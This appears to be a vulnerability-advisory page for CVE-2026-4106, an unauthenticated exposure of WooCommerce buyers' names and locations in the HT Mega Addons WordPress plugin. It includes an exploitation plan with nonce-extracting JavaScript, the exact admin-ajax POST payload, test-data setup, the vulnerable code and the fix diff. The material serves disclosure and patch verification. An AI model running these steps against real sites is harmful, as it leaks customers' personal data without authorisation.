HT Mega Addons for Elementor – Elementor Widgets & Template Builder < 3.0.7 - Unauthenticated Information Exposure
Description
The HT Mega Addons for Elementor – Elementor Widgets & Template Builder plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to 3.0.7 (exclusive). This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<3.0.7What Changed in the Fix
Changes introduced in v3.0.7
Source Code
WordPress.org SVN# Research Plan: CVE-2026-4106 - HT Mega Addons for Elementor Unauthenticated Information Exposure ## 1. Vulnerability Summary The **HT Mega Addons for Elementor** plugin (versions < 3.0.7) is vulnerable to **Unauthenticated Information Exposure** through its WooCommerce Sales Notification feature.…
Show full research plan
Research Plan: CVE-2026-4106 - HT Mega Addons for Elementor Unauthenticated Information Exposure
1. Vulnerability Summary
The HT Mega Addons for Elementor plugin (versions < 3.0.7) is vulnerable to Unauthenticated Information Exposure through its WooCommerce Sales Notification feature. The plugin registers an AJAX action wcsales_purchased_products that is accessible to unauthenticated users via wp_ajax_nopriv_. This endpoint returns sensitive data from recent WooCommerce orders, including the buyer's first name, last name, city, state, and country. Although a WordPress nonce is used for verification, the nonce is leaked in the footer of every frontend page, rendering the protection ineffective against unauthenticated attackers.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wcsales_purchased_products - Parameter:
security(Nonce) - Authentication: Unauthenticated (
nopriv) - Preconditions:
- WooCommerce must be installed and active.
- At least one WooCommerce order must exist (status: completed, pending, processing, or on-hold).
- The "Sales Notification" extension in HT Mega must be enabled (often enabled by default or via the plugin settings).
3. Code Flow
- Registration: In
extensions/wc-sales-notification/classes/class.sale_notification.php, the__constructmethod registers the AJAX handlers:add_action('wp_ajax_nopriv_wcsales_purchased_products', [ $this, 'purchased_products' ] ); add_action('wp_ajax_wcsales_purchased_products', [ $this, 'purchased_products' ] ); - Nonce Exposure: The same class hooks
ajax_requesttowp_footer:
Insideadd_action( 'wp_footer', [ $this, 'ajax_request' ] );ajax_request(), the nonce is created and printed directly into a<script>block:$ajax_nonce = wp_create_nonce( "wcsales-ajax-request" ); // ... var data = { action: 'wcsales_purchased_products', security: '<?php echo esc_js( $ajax_nonce ); ?>', whatever: 1234 }; - Data Retrieval: When the AJAX action is called,
purchased_products()is executed. It callscheck_ajax_referer('wcsales-ajax-request', 'security'). - Order Exposure: If the nonce is valid, the function queries for orders:
$args = array( 'post_type' => 'shop_order', 'post_status' => 'wc-completed, wc-pending, wc-processing, wc-on-hold', // ... ); $posts = get_posts( $args ); - Buyer Info Extraction: For each order,
purchased_buyer_info()extracts billing or shipping details:$buyerinfo = array( 'fname' => ... $address['first_name'] ..., 'lname' => ... $address['last_name'] ..., 'city' => ... $address['city'] ..., 'state' => ... $address['state'] ..., 'country' => ... WC()->countries->countries[$address['country']] ..., ); - Output: The data is returned as a JSON array to the unauthenticated requester.
4. Nonce Acquisition Strategy
The nonce is not passed via wp_localize_script but is instead printed as a raw JavaScript variable inside the wp_footer hook.
- Navigate: Use
browser_navigateto go to the WordPress homepage. - Extract: Use
browser_evalto extract the security nonce from the inline script. Since the variable is defined inside a jQuery ready block and not on the globalwindowobject, the most reliable way is to parse the page source or use a regex on the script tags. - Regex Approach:
// Inside browser_eval const scripts = Array.from(document.getElementsByTagName('script')); const targetScript = scripts.find(s => s.innerText.includes('wcsales_purchased_products')); if (targetScript) { const match = targetScript.innerText.match(/security:\s*'([a-f0-9]{10})'/); return match ? match[1] : null; } - Action String: The nonce action is
"wcsales-ajax-request".
5. Exploitation Strategy
- Target:
/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Payload:
action=wcsales_purchased_products&security=[EXTRACTED_NONCE] - Request Execution: Use the
http_requesttool. - Data Processing: Parse the JSON response. A successful exploit will return an array of objects, each containing a
buyerkey withfname,lname,city,state, andcountry.
6. Test Data Setup
- Install WooCommerce: Ensure WooCommerce is active.
- Create Order: Use WP-CLI to create a dummy order with PII:
# Create a customer/order with identifiable info # Note: Orders in WC are 'shop_order' post types ORDER_ID=$(wp post create --post_type=shop_order --post_status=wc-completed --post_title="Order" --porcelain) # Add billing information (PII) wp post meta update $ORDER_ID _billing_first_name "John" wp post meta update $ORDER_ID _billing_last_name "Doe" wp post meta update $ORDER_ID _billing_city "Beverly Hills" wp post meta update $ORDER_ID _billing_state "CA" wp post meta update $ORDER_ID _billing_country "US" - Enable Extension: Ensure the Sales Notification extension is enabled in HT Mega. (Check
wp option get htmega_settingsor similar if the plugin stores settings there).
7. Expected Results
- The response should be a JSON array (Status 200 OK).
- Each entry in the array should look like this:
{ "id": 123, "name": "Product Name", "url": "http://...", "date": "2024-...", "image": "...", "price": "$...", "buyer": { "fname": "John", "lname": "Doe", "city": "Beverly Hills", "state": "CA", "country": "United States (US)" } }
8. Verification Steps
- Check Output: Verify that the
fnameandlnamein the HTTP response match the "John" and "Doe" strings set via WP-CLI. - Confirm Nonce Dependency: Attempt the request again with an invalid
securityparameter (e.g.,security=1234567890). The server should return403 Forbiddenor-1(default WordPress AJAX error).
9. Alternative Approaches
If the extension is not active by default, it may be necessary to manually activate it through the HT Mega settings panel. This can be done via wp option update if the option name is known (likely htmega_settings or a similar key containing a serialized array of enabled modules).
If wp_footer is not being triggered (e.g., on certain themes), try navigating to a specific product page or a page containing an Elementor widget from HT Mega to force the plugin's components to load.
Summary
The HT Mega Addons for Elementor plugin (versions < 3.0.7) exposes sensitive WooCommerce customer information (PII) to unauthenticated attackers. The vulnerability occurs because the 'Sales Notification' feature registers an AJAX endpoint accessible to unauthenticated users and leaks the required security nonce in the public frontend footer, allowing attackers to download order history including buyer names and locations.
Vulnerable Code
// extensions/wc-sales-notification/classes/class.sale_notification.php:19 add_action('wp_ajax_nopriv_wcsales_purchased_products', [ $this, 'purchased_products' ] ); add_action('wp_ajax_wcsales_purchased_products', [ $this, 'purchased_products' ] ); --- // extensions/wc-sales-notification/classes/class.sale_notification.php:115 function ajax_request() { // ... (truncated) $ajax_nonce = wp_create_nonce( "wcsales-ajax-request" ); ?> <script> jQuery( document ).ready( function( $ ) { // ... (truncated) var data = { action: 'wcsales_purchased_products', security: '<?php echo esc_js( $ajax_nonce ); ?>', whatever: 1234 }; --- // extensions/wc-sales-notification/classes/class.sale_notification.php:91 private function purchased_buyer_info( $order ){ $address = $order->get_address( 'billing' ); if( !isset( $address['city'] ) || empty( $address['city'] ) ){ $address = $order->get_address( 'shipping' ); } $buyerinfo = array( 'fname' => isset( $address['first_name'] ) && !empty( $address['first_name'] ) ? ucfirst( $address['first_name'] ) : '', 'lname' => isset( $address['last_name'] ) && !empty( $address['last_name'] ) ? ucfirst( $address['last_name'] ) : '', 'city' => isset( $address['city'] ) && !empty( $address['city'] ) ? ucfirst( $address['city'] ) : '', 'state' => isset( $address['state'] ) && !empty( $address['state'] ) ? ucfirst( $address['state'] ) : '', 'country' => isset( $address['country'] ) && !empty( $address['country'] ) ? WC()->countries->countries[$address['country']] : '', ); return $buyerinfo; }
Security Fix
@@ -60,10 +60,8 @@ if( !empty( $product ) ){ preg_match( '/src="(.*?)"/', $product->get_image( 'thumbnail' ), $imgurl ); $p = array( - 'id' => $first_item['order_id'], 'name' => $product->get_title(), 'url' => $product->get_permalink(), - 'date' => $post->post_date_gmt, 'image' => count($imgurl) === 2 ? $imgurl[1] : null, 'price' => $this->purchased_productprice( $check_wc_version ? $product->get_display_price() : wc_get_price_to_display( $product ) ), 'buyer' => $this->purchased_buyer_info( $order ) @@ -99,12 +97,22 @@ if( !isset( $address['city'] ) || empty( $address['city'] ) ){ $address = $order->get_address( 'shipping' ); } + + $show_buyer_name = ( htmega_get_option( 'show_buyer_name', 'htmegawcsales_setting_tabs', 'off' ) === 'on' ); + $show_city = ( htmega_get_option( 'show_city', 'htmegawcsales_setting_tabs', 'off' ) === 'on' ); + $show_state = ( htmega_get_option( 'show_state', 'htmegawcsales_setting_tabs', 'off' ) === 'on' ); + $show_country = ( htmega_get_option( 'show_country', 'htmegawcsales_setting_tabs', 'off' ) === 'on' ); + + // When buyer name is enabled, expose first name + last initial only (never full last name). + $lname_raw = isset( $address['last_name'] ) && !empty( $address['last_name'] ) ? $address['last_name'] : ''; + $lname_initial = !empty( $lname_raw ) ? strtoupper( substr( $lname_raw, 0, 1 ) ) . '.' : ''; + $buyerinfo = array( - 'fname' => isset( $address['first_name'] ) && !empty( $address['first_name'] ) ? ucfirst( $address['first_name'] ) : '', - 'lname' => isset( $address['last_name'] ) && !empty( $address['last_name'] ) ? ucfirst( $address['last_name'] ) : '', - 'city' => isset( $address['city'] ) && !empty( $address['city'] ) ? ucfirst( $address['city'] ) : '', - 'state' => isset( $address['state'] ) && !empty( $address['state'] ) ? ucfirst( $address['state'] ) : '', - 'country' => isset( $address['country'] ) && !empty( $address['country'] ) ? WC()->countries->countries[$address['country']] : '', + 'fname' => ( $show_buyer_name && !empty( $address['first_name'] ) ) ? ucfirst( $address['first_name'] ) : '', + 'lname' => ( $show_buyer_name && !empty( $lname_initial ) ) ? $lname_initial : '', + 'city' => ( $show_city && !empty( $address['city'] ) ) ? ucfirst( $address['city'] ) : '', + 'state' => ( $show_state && !empty( $address['state'] ) ) ? ucfirst( $address['state'] ) : '', + 'country' => ( $show_country && !empty( $address['country'] ) ) ? WC()->countries->countries[ $address['country'] ] : '', ); return $buyerinfo; }
Exploit Outline
The exploit targets the WooCommerce Sales Notification feature in HT Mega Addons for Elementor. 1. **Nonce Retrieval**: An unauthenticated attacker visits the site's homepage and inspects the HTML source. They search for a script tag containing the string 'wcsales_purchased_products' to locate the 'security' nonce variable printed by the `ajax_request` function in `class.sale_notification.php`. 2. **AJAX Request**: The attacker sends an unauthenticated POST request to `/wp-admin/admin-ajax.php` with the parameters `action=wcsales_purchased_products` and `security=[EXTRACTED_NONCE]`. 3. **Data Extraction**: The server validates the nonce and, because the action is registered via `wp_ajax_nopriv_`, processes the request. It queries recent WooCommerce orders and returns a JSON response containing the full first name, last name, city, state, and country of the buyers from the most recent orders (up to the limit defined in settings, typically 5).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.